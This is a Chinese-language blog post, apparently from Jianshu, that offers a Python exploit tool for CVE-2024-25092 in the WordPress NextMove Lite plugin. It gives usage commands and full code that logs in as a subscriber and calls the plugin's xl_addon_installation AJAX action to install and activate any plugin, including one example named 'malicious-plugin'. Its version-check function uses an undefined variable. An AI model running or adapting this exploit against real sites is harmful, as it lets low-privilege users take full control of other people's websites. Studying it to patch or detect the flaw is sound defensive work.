WordPress NextMove Lite 插件權(quán)限繞過漏洞利用工具 (CVE-2024-25092)

CVE-2024-25092 漏洞利用工具

項目描述

本項目是針對 CVE-2024-25092 漏洞的自動化利用腳本。該漏洞存在于 WordPress XLPlugins NextMove Lite 插件(版本號 ≤ 2.17.0)中,由于缺少授權(quán)檢查,導(dǎo)致具有訂閱者(Subscriber)及以上權(quán)限的認證用戶可以繞過權(quán)限限制,安裝并激活任意 WordPress 插件。成功利用此漏洞可能導(dǎo)致網(wǎng)站完全被控制。

屬性
漏洞編號 CVE-2024-25092
公開日期 2024-06-09
嚴重程度 高危 (CVSS 8.8)
漏洞類型 CWE-862 - 缺失授權(quán)
受影響版本 n/a 至 2.17.0

CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

功能特性

  • 自動認證登錄:支持通過用戶名和密碼登錄 WordPress 站點

  • 任意插件安裝:利用漏洞繞過授權(quán)限制,安裝并激活任意 WordPress 插件

  • 默認插件支持:內(nèi)置默認插件 cart-for-woocommerce,支持自定義插件名稱

  • 會話管理:使用 requests.Session 保持登錄狀態(tài)和 Cookie

  • SSL 警告抑制:自動禁用不安全的 HTTPS 請求警告

安裝指南

系統(tǒng)要求

  • Python 3.x
  • requests

安裝步驟

  1. 將腳本保存為 CVE-2024-25092.py

  2. 安裝依賴庫:

pip install requests

使用說明

命令行參數(shù)

參數(shù) 簡寫 必填 說明
--url -u 目標 WordPress 站點 URL
--username -un WordPress 用戶名
--password -p 用戶密碼
--plugin -pl 要安裝的插件 slug(默認:cart-for-woocommerce)

基礎(chǔ)使用示例

# 使用默認插件
python CVE-2024-25092.py -u http://example.com -un subscriber_user -p user_password

# 指定自定義插件
python CVE-2024-25092.py -u https://target-site.com -un editor -p pass123 -pl malicious-plugin

典型輸出

Logged in successfully.
Site is vulnerable... Exploiting and uploading plugin
Plugin 'cart-for-woocommerce' installed and activated successfully.

工作流程說明

  1. 登錄階段:向 /wp-login.php 發(fā)送 POST 請求,驗證用戶憑證

  2. 漏洞利用:向 /wp-admin/admin-ajax.php 發(fā)送 POST 請求,參數(shù) action=xl_addon_installation,觸發(fā)任意插件安裝

核心代碼

登錄驗證模塊

def login(session, url, username, password, user_agent):
    login_url = url + '/wp-login.php'
    response = session.post(login_url, verify=False, data={
        'log': username,
        'pwd': password,
        'rememberme': 'forever',
        'wp-submit': 'Log+In'
    }, headers={"User-Agent": user_agent})
    
    if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
        print("Logged in successfully.")
    else:
        print("Failed to log in.")
        exit()

漏洞版本檢測

def check_version(session, url, user_agent):

    response = session.get(version_url, verify=False, headers={"User-Agent": user_agent})
    
    if response.status_code == 200:
        if 'Stable tag: 2.17.0' in response.text:
            print("Site is vulnerable... Exploiting and uploading plugin")
        else:
            print("Site is not vulnerable.")
            exit()
    else:
        print("Failed to check version.")
        exit()

插件安裝利用模塊

def install_plugin(session, url, plugin, user_agent):
    exploit_url = url + '/wp-admin/admin-ajax.php'
    exploit_data = {
        'action': 'xl_addon_installation',
        'xl_slug': plugin,
        'xl_file': '/plugin.php'
    }
    headers = {
        "User-Agent": user_agent,
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Referer": url + '/wp-admin/admin.php?page=xl-cart',
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": url,
        "Connection": "keep-alive",
        "Cookie": '; '.join([f"{cookie.name}={cookie.value}" for cookie in session.cookies])
    }

    response = session.post(exploit_url, data=exploit_data, headers=headers, verify=False)
    if response.status_code == 200:
        print(f"Plugin '{plugin}' installed and activated successfully.")
    else:
        print("Failed to upload plugin.")

主程序入口

def main():
    parser = argparse.ArgumentParser(description='Exploit script for CVE-2024-25092 By Nxploit Khaled Alenazi. ')
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-un', '--username', required=True, help='Username')
    parser.add_argument('-p', '--password', required=True, help='Password')
    parser.add_argument('-pl', '--plugin', default='cart-for-woocommerce', help='Plugin to install (default: cart-for-woocommerce)')
    args = parser.parse_args()

    user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
    requests.packages.urllib3.disable_warnings()
    session = requests.Session()
    session.verify = False

    login(session, args.url, args.username, args.password, user_agent)
    check_version(session, args.url, user_agent)
    install_plugin(session, args.url, args.plugin, user_agent)

if __name__ == "__main__":
    main()

免責聲明

本工具僅限用于授權(quán)的安全測試和教育目的。未經(jīng)授權(quán)使用此腳本攻擊系統(tǒng)屬于違法行為。使用者需自行承擔法律責任。
6HFtX5dABrKlqXeO5PUv/36QVhA6BltxZzh7R/LTOFg=

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容